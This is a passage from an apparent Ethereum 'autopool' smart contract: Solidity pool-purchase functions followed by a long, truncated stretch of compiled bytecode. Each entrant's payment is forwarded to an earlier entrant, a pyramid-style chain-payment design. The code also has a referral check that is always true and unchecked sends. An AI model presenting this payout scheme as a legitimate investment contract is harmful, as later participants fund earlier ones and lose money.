getPoolPayment(msg.sender,pool7Currentuser, 7, now); } emit regPoolEntry(msg.sender,7, now); } function buyPool8() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool8users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool8_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool8Currentuser=pool8userList[pool8activeUserID]; pool8currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool8currUserID, payment_received:0 }); pool8users[msg.sender] = userStruct; pool8userList[pool8currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool8Currentuser)).send(pool8_price); if (sent) { pool8users[pool8Currentuser].payment_received+=1; if(pool8users[pool8Currentuser].payment_received>=3) { pool8activeUserID+=1; } emit getPoolPayment(msg.sender,pool8Currentuser, 8, now); } emit regPoolEntry(msg.sender,8, now); } function buyPool9() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool9users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool9_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool9Currentuser=pool9userList[pool9activeUserID]; pool9currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool9currUserID, payment_received:0 }); pool9users[msg.sender] = userStruct; pool9userList[pool9currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool9Currentuser)).send(pool9_price); if (sent) { pool9users[pool9Currentuser].payment_received+=1; if(pool9users[pool9Currentuser].payment_received>=3) { pool9activeUserID+=1; } emit getPoolPayment(msg.sender,pool9Currentuser, 9, now); } emit regPoolEntry(msg.sender,9, now); } function buyPool10() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool10users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool10_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool10Currentuser=pool10userList[pool10activeUserID]; pool10currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool10currUserID, payment_received:0 }); pool10users[msg.sender] = userStruct; pool10userList[pool10currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool10Currentuser)).send(pool10_price); if (sent) { pool10users[pool10Currentuser].payment_received+=1; if(pool10users[pool10Currentuser].payment_received>=3) { pool10activeUserID+=1; } emit getPoolPayment(msg.sender,pool10Currentuser, 10, now); } emit regPoolEntry(msg.sender, 10, now); } function getEthBalance() public view returns(uint) { return address(this).balance; } function sendBalance() private { if (!address(uint160(ownerWallet)).send(getEthBalance())) { } } }
0x60806040526004361061038c5760003560e01c806380085ec4116101dc578063a565a5b611610102578063db7242bd116100a0578063e592ac561161006f578063e592ac56146112a4578063e687ecac146112cf578063ed3bb9fa14611346578063eecbdd94146113505761038c565b8063db7242bd14611179578063dd5d3e30146111f4578063dea9095a1461126f578063e35fc7e21461129a5761038c565b8063bdbefbf6116100dc578063bdbefbf61461109e578063c3285de6146110c9578063c5d8444d146110d3578063c6d79e9d146110fe5761038c565b8063a565a5b61461100c578063a87430ba14611016578063ae01d264146110945761038c565b80638853b53e1161017a5780639f01c016116101495780639f01c01614610ec45780639f4216e814610eef5780639f9a2b0e14610f6a578063a4bb170d14610fe15761038c565b80638853b53e14610de95780639335dcb714610e175780639561302a14610e6e578063956c9ebf14610e995761038c565b806384abfa37116101b657806384abfa3714610ca557806384d82db814610d1c578063851f31c614610d47578063878b255d14610dbe5761038c565b806380085ec414610b4b578063805b495414610bc257806381d12c5814610c3d5761038c565b806350264b55116102c15780636e2fb91d1161025f57806379378e301161022e57806379378e3014610a2b5780637aa6e6dc14610a7a5780637ff135cd14610aa55780637ff5c45014610b205761038c565b80636e2fb91d1461090857806370047eeb1461097f57806370ed0ada1461098957806378dffea7146109b45761038c565b806360fbf1221161029b57806360fbf122146108315780636254a0ef146108a8578063673f554b146108b2578063699ad07e146108dd5761038c565b806350264b55146107605780635761a7ae146107db5780635a1cb2cd146108065761038c565b806338f2f4461161032e5780634147cde8116103085780634147cde814610685578063435ea130146106b0578063460c3c071461072b578063461aa478146107565761038c565b806338f2f446146105d957806338fc99bd146106505780633bddc9511461065a5761038c565b806309fd01ba1161036a57806309fd01ba1461043d5780630c851e3c146104b8578063282e06761461053357806336509f77146105ae5761038c565b806301073bf514610391578063080f775f1461039b57806309ea330a146103c6575b600080fd5b61039961137b565b005b3480156103a757600080fd5b506103b0611875565b6040518082815260200191505060405180910390f35b3480156103d257600080fd5b50610415600480360360208110156103e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061187b565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b34801561044957600080fd5b506104766004803603602081101561046057600080fd5b81019080803590602001909291905050506118b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c457600080fd5b506104f1600480360360208110156104db57600080fd5b81019080803590602001909291905050506118e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053f57600080fd5b5061056c6004803603602081101561055657600080fd5b8101908080359060200190929190505050611918565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ba57600080fd5b506105c361194b565b6040518082815260200191505060405180910390f35b3480156105e557600080fd5b50610628600480360360208110156105fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611951565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b610658611988565b005b34801561066657600080fd5b5061066f611f3b565b6040518082815260200191505060405180910390f35b34801561069157600080fd5b5061069a611f41565b6040518082815260200191505060405180910390f35b3480156106bc57600080fd5b506106e9600480360360208110156106d357600080fd5b8101908080359060200190929190505050611f47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073757600080fd5b50610740611f79565b6040518082815260200191505060405180910390f35b61075e611f7f565b005b34801561076c57600080fd5b506107996004803603602081101561078357600080fd5b8101908080359060200190929190505050612532565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107e757600080fd5b506107f0612565565b6040518082815260200191505060405180910390f35b34801561081257600080fd5b5061081b61256b565b6040518082815260200191505060405180910390f35b34801561083d57600080fd5b506108806004803603602081101561085457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612571565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b6108b06125a8565b005b3480156108be57600080fd5b506108c7612b5b565b6040518082815260200191505060405180910390f35b3480156108e957600080fd5b506108f2612b61565b6040518082815260200191505060405180910390f35b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b67565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b610987612b9e565b005b34801561099557600080fd5b5061099e613151565b6040518082815260200191505060405180910390f35b3480156109c057600080fd5b50610a03600480360360208110156109d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613159565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610a3757600080fd5b50610a6460048036036020811015610a4e57600080fd5b8101908080359060200190929190505050613190565b6040518082815260200191505060405180910390f35b348015610a8657600080fd5b50610a8f6131a8565b6040518082815260200191505060405180910390f35b348015610ab157600080fd5b50610ade60048036036020811015610ac857600080fd5b81019080803590602001909291905050506131ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2c57600080fd5b50610b356131e1565b6040518082815260200191505060405180910390f35b348015610b5757600080fd5b50610b9a60048036036020811015610b6e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131e7565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610bce57600080fd5b50610bfb60048036036020811015610be557600080fd5b810190808035906020019092919050505061321e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c4957600080fd5b50610c7660048036036020811015610c6057600080fd5b8101908080359060200190929190505050613251565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b348015610cb157600080fd5b50610cf460048036036020811015610cc857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061329b565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610d2857600080fd5b50610d316132d2565b6040518082815260200191505060405180910390f35b348015610d5357600080fd5b50610d9660048036036020811015610d6a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132d8565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610dca57600080fd5b50610dd361330f565b6040518082815260200191505060405180910390f35b610e1560048036036020811015610dff57600080fd5b8101908080359060200190929190505050613315565b005b348015610e2357600080fd5b50610e2c613808565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e7a57600080fd5b50610e8361382d565b6040518082815260200191505060405180910390f35b348015610ea557600080fd5b50610eae613833565b6040518082815260200191505060405180910390f35b348015610ed057600080fd5b50610ed9613839565b6040518082815260200191505060405180910390f35b348015610efb57600080fd5b50610f2860048036036020811015610f1257600080fd5b810190808035906020019092919050505061383f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f7657600080fd5b50610fb960048036036020811015610f8d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613872565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610fed57600080fd5b50610ff66138a9565b6040518082815260200191505060405180910390f35b6110146138af565b005b34801561102257600080fd5b506110656004803603602081101561103957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613e62565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b61109c613e9f565b005b3480156110aa57600080fd5b506110b3614390565b6040518082815260200191505060405180910390f35b6110d1614396565b005b3480156110df57600080fd5b506110e8614949565b6040518082815260200191505060405180910390f35b34801561110a57600080fd5b506111376004803603602081101561112157600080fd5b810190808035906020019092919050505061494f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561118557600080fd5b506111b26004803603602081101561119c57600080fd5b8101908080359060200190929190505050614982565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561120057600080fd5b5061122d6004803603602081101561121757600080fd5b81019080803590602001909291905050506149b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561127b57600080fd5b506112846149e8565b6040518082815260200191505060405180910390f35b6112a26149ee565b005b3480156112b057600080fd5b506112b9614fa1565b6040518082815260200191505060405180910390f35b3480156112db57600080fd5b5061131e600480360360208110156112f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614fa7565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b61134e614fde565b005b34801561135c57600080fd5b50611365615591565b6040518082815260200191505060405180910390f35b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1661143d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615611500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b602f543414611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b61157f6157da565b6000601a6000600c54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600260008154809291906001019190505550604051806060016040528060011515815260200160025481526020016000815250915081601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc602f549081150290604051600060405180830381858888f1935050505090508015611819576001601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506002601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106117aa576001600c600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600142604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600142604051808381526020018281526020019250505060405180910390a2505050565b60065481565b60216020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60286020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b60196020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16611a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615611b0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6032543414611b84576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015611c3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b611c456157da565b600060206000600f54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600560008154809291906001019190505550604051806060016040528060011515815260200160055481526020016000815250915081601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360206000600554815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6032549081150290604051600060405180830381858888f1935050505090508015611edf576001601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410611e70576001600f600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600442604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600442604051808381526020018281526020019250505060405180910390a2505050565b60105481565b600a5481565b602080528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16612041576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b603554341461217b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015612234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61223c6157da565b600060266000601254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600860008154809291906001019190505550604051806060016040528060011515815260200160085481526020016000815250915081602560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360266000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6035549081150290604051600060405180830381858888f19350505050905080156124d6576001602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106124675760016012600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600742604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600742604051808381526020018281526020019250505060405180910390a2505050565b602a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600f5481565b60296020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1661266a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161561272d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b60305434146127a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154101561285d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b6128656157da565b6000601c6000600d54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008154809291906001019190505550604051806060016040528060011515815260200160035481526020016000815250915081601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601c6000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6030549081150290604051600060405180830381858888f1935050505090508015612aff576001601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410612a90576001600d600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600242604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600242604051808381526020018281526020019250505060405180910390a2505050565b60085481565b600b5481565b60236020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16612c60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6036543414612d9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015612e53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b612e5b6157da565b600060286000601354815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600960008154809291906001019190505550604051806060016040528060011515815260200160095481526020016000815250915081602760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360286000600954815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6036549081150290604051600060405180830381858888f19350505050905080156130f5576001602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106130865760016013600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600842604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600842604051808381526020018281526020019250505060405180910390a2505050565b600047905090565b601d6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b602d6020528060005260406000206000915090505481565b60165481565b601c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b601f6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60246020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6039818154811061325e57fe5b90600052602060002090600502016000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b601b6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60095481565b60256020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60145481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16156133d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f557365722045786973747300000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000811180156133ea57506001548111155b61345c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e636f727265637420726566657272616c204944000000000000000000000081525060200191505060405180910390fd5b602e5434146134d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6134db6157fd565b600160008154809291906001019190505550604051806080016040528060011515815260200160015481526020018381526020016000815250905080601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301559050503360186000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016017600060186000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154016017600060186000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061376c600133615597565b6018600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f788c06d2405ae89dd3f0528d38be7691289474d72176408bc2c2406dc5e342f1426040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60155481565b60055481565b60186020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60276020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60015481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16613971576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615613a34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6037543414613aab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015613b64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b613b6c6157da565b6000602a6000601454815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600a600081548092919060010191905055506040518060600160405280600115158152602001600a5481526020016000815250915081602960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033602a6000600a54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6037549081150290604051600060405180830381858888f1935050505090508015613e06576001602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410613d975760016014600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600942604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa2